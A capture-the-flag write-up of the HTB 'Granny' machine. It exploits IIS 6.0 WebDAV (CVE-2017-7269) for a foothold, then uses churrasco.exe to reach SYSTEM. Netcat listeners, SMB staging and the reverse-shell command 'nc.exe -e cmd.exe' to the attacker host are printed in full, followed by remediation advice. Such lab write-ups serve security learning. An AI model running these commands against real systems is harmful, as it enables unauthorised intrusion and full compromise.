Granny - HTB Easy Machine

About

Granny, while similar to Grandpa, can be exploited using several different methods. The intended method of solving this machine is the widely-known Webdav upload vulnerability.

Exploitation

Enumeration

The scan returned only port 80, and the banner immediately pointed to Microsoft-IIS/6.0, just like the grandpa machine.

PORT   STATE SERVICE VERSION  
80/tcp open  http    Microsoft IIS httpd 6.0  
| http-webdav-scan:    
|   Server Date: Fri, 03 Oct 2025 22:02:42 GMT  
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK  
|   WebDAV type: Unknown  
|   Server Type: Microsoft-IIS/6.0  
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH  
| http-methods:    
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT  
|_http-title: Under Construction  
|_http-server-header: Microsoft-IIS/6.0  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The home page matched Grandpa, so I skipped repeat enumeration and tried the same exploitation path.

Foothold

With Microsoft-IIS/6.0 in play, CVE-2017-7269 was the opening. I repeated the same process used on grandpa, starting with a listener:

Started the listener

nc -lvnp 9001

And run the exploit

cargo run -- --rhost 10.10.10.15 --rport 80 --lhost 10.10.16.4 --lport 9001

And same as grandpa machine, i got the shell from nt authority\network service user

┌── ➤ granny  
└─ $ nc -lvnp 9001                                                                 
Listening on 0.0.0.0 9001  
Connection received on 10.10.10.15 1030  
Microsoft Windows [Version 5.2.3790]  
(C) Copyright 1985-2003 Microsoft Corp.  
  
c:\windows\system32\inetsrv>whoami  
whoami  
nt authority\network service

Privilege Escalation

I hoped the privesc phase would offer a twist, but it made sense to test the same route before exploring alternatives.

A quick look at systeminfo confirmed that the system was practically a clone of Grandpa’s host.

c:\windows\system32\inetsrv>systeminfo  
systeminfo  
  
Host Name:                 GRANNY  
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition  
OS Version:                5.2.3790 Service Pack 2 Build 3790  
OS Manufacturer:           Microsoft Corporation  
OS Configuration:          Standalone Server  
OS Build Type:             Uniprocessor Free  
Registered Owner:          HTB  
Registered Organization:   HTB  
Product ID:                69712-296-0024942-44782  
Original Install Date:     4/12/2017, 5:07:40 PM  
System Up Time:            0 Days, 0 Hours, 3 Minutes, 15 Seconds  
System Manufacturer:       VMware, Inc.  
System Model:              VMware Virtual Platform  
System Type:               X86-based PC  
Processor(s):              1 Processor(s) Installed.  
                          [01]: x86 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz  
BIOS Version:              INTEL  - 6040000  
Windows Directory:         C:\WINDOWS  
System Directory:          C:\WINDOWS\system32  
Boot Device:               \Device\HarddiskVolume1  
System Locale:             en-us;English (United States)  
Input Locale:              en-us;English (United States)  
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk  
Total Physical Memory:     1,023 MB  
Available Physical Memory: 801 MB  
Page File: Max Size:       2,470 MB  
Page File: Available:      2,335 MB  
Page File: In Use:         135 MB  
Page File Location(s):     C:\pagefile.sys  
Domain:                    HTB  
Logon Server:              N/A  
Hotfix(s):                 1 Hotfix(s) Installed.  
                          [01]: Q147222  
Network Card(s):           N/A

So first I started straight to churrasco.exe. Getting both churrasco.exe and nc.exe onto the target was easier through an Impacket SMB share, so I staged the files locally first.

First, I created a local directory and placed the necessary files inside it.

mkdir smb
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe smb/
mv churrasco.exe smb/churrasco.exe

Next, I started the SMB server to share the directory's contents.

sudo smbserver.py share smb

From the victim shell, I navigated to a world-writable directory (C:\wmpub) and copied the files from my share.

C:\wmpub>copy \\10.10.16.4\share\nc.exe nc.exe  
copy \\10.10.16.4\share\nc.exe nc.exe  
       1 file(s) copied.


C:\wmpub>copy \\10.10.16.4\share\churrasco.exe c.exe  
copy \\10.10.16.4\share\churrasco.exe c.exe  
       1 file(s) copied.

With the tools in place, I started a new Netcat listener on port 9002 to catch the privileged shell.

┌── ➤ granny  
└─ $ nc -lvnp 9002  
Listening on 0.0.0.0 9002

Finally, I executed churrasco.exe, instructing it to run a command that would spawn a new reverse shell back to my machine.

C:\wmpub>.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.16.4 9002"  

.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.16.4 9002"  
/churrasco/-->Current User: NETWORK SERVICE    
/churrasco/-->Getting Rpcss PID ...  
/churrasco/-->Found Rpcss PID: 668    
/churrasco/-->Searching for Rpcss threads ...  
/churrasco/-->Found Thread: 672    
/churrasco/-->Thread not impersonating, looking for another thread...  
/churrasco/-->Found Thread: 676    
/churrasco/-->Thread not impersonating, looking for another thread...  
/churrasco/-->Found Thread: 684    
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x730  
/churrasco/-->Getting SYSTEM token from Rpcss Service...  
/churrasco/-->Found NETWORK SERVICE Token  
/churrasco/-->Found NETWORK SERVICE Token  
/churrasco/-->Found LOCAL SERVICE Token  
/churrasco/-->Found SYSTEM token 0x728  
/churrasco/-->Running command with SYSTEM Token...  
/churrasco/-->Done, command should have ran as SYSTEM!

The exploit succeeded, and nc on port 9002 caught a fresh shell, this time running with nt authority\system rights.

┌── ➤ granny  
└─ $ nc -lvnp 9002  
Listening on 0.0.0.0 9002  
Connection received on 10.10.10.14 1039  
Microsoft Windows [Version 5.2.3790]  
(C) Copyright 1985-2003 Microsoft Corp.  
  
C:\WINDOWS\TEMP>whoami
whoami  
nt authority\system

From here, I just needed to go to users directories and get the flags.

USER

user flag

C:\Documents and Settings\Lakis\Desktop>type user.txt  
type user.txt  
700c5dc163014e....

ROOT

root flag

C:\Documents and Settings\Administrator\Desktop>type root.txt  
type root.txt  
aa4beed1c058444....

I think the intended way was meant to be different, but this legacy machine repeats the same weaknesses. It’s hard to fault them for leaving both Grandpa and Granny vulnerable to the identical technique.

If you want extra background on the vulnerabilities at play, revisit the Grandpa writeup.

Vulnerability Analysis

CVE-2017-7269: Remote Code Execution in IIS 6.0

The initial compromise was possible because the server was running Microsoft IIS 6.0 on Windows Server 2003, a combination that is long past its end-of-life. The enabled WebDAV extension on this version contained a critical, unpatched vulnerability. This allowed an unauthenticated attacker on the network to send a specially crafted PROPFIND request, triggering a buffer overflow and achieving remote code execution.

This exploit is a direct result of CWE-121: Stack-based Buffer Overflow. This weakness occurs when a program writes more data to a buffer located on the stack than is allocated for that buffer. The excess data overwrites adjacent memory, which can corrupt program data, crash the application, or, as in this case, overwrite the instruction pointer to redirect program execution to malicious shellcode provided by the attacker. The overarching issue, however, is CWE-937: Use of Component with Known Vulnerabilities, as the software in use was widely known to be insecure.

CVE-2009-0078: Privilege Escalation via Service Isolation Flaw

After gaining a foothold, privilege escalation to NT AUTHORITY\SYSTEM was achieved by exploiting a local vulnerability in the Windows Server 2003 kernel. The operating system failed to properly isolate processes that were running under the same low-privileged service account (in this case, NETWORK SERVICE). This allowed an exploit (churrasco.exe) to interact with other system processes and steal a high-privilege security token.

This demonstrates CWE-266: Incorrect Privilege Assignment. The vulnerability allowed a process to improperly acquire the permissions and identity of a more privileged process (SYSTEM). Modern operating systems implement stricter security boundaries and process isolation mechanisms specifically to prevent this type of token theft and privilege escalation, highlighting a fundamental design flaw in the legacy OS.

Vulnerability Remediation

Mitigating Remote Code Execution (CVE-2017-7269)

The most effective defense is to decommission legacy systems. Windows Server 2003 and IIS 6.0 are unsupported and should be migrated to a modern, supported platform like Windows Server 2019/2022 and a current version of IIS. Continuing to use end-of-life software exposes an organization to unacceptable risk.

If immediate decommissioning is not possible, apply the principle of least functionality. Disable any unused or non-essential services and components, such as the WebDAV extension, to significantly reduce the server's attack surface. All public-facing systems should be placed behind a properly configured Web Application Firewall (WAF) that can inspect traffic for malicious patterns.

Mitigating Local Privilege Escalation (CVE-2009-0078)

Upgrading the operating system is the only definitive fix for this class of kernel vulnerability. Modern versions of Windows have fundamentally redesigned process isolation and token handling, rendering exploits like churrasco ineffective.

Implement robust endpoint security. An Endpoint Detection and Response (EDR) solution would likely have detected the suspicious activity, such as the dropping of nc.exe and churrasco.exe onto the disk, unusual process execution by a web service account, and the creation of a reverse shell.

Finally, enforce network egress filtering. The privilege escalation attack required establishing a new outbound connection for the reverse shell. A firewall policy that blocks all outbound traffic except for what is explicitly required for business functions can prevent an attacker from establishing command and control, even if they successfully run an exploit.

References

the master 0xdf
windows-iis-60-cve-2017-7269
exploit-db
CVE-2017-7269
churrasco
CWE-266
CWE-121
CWE-937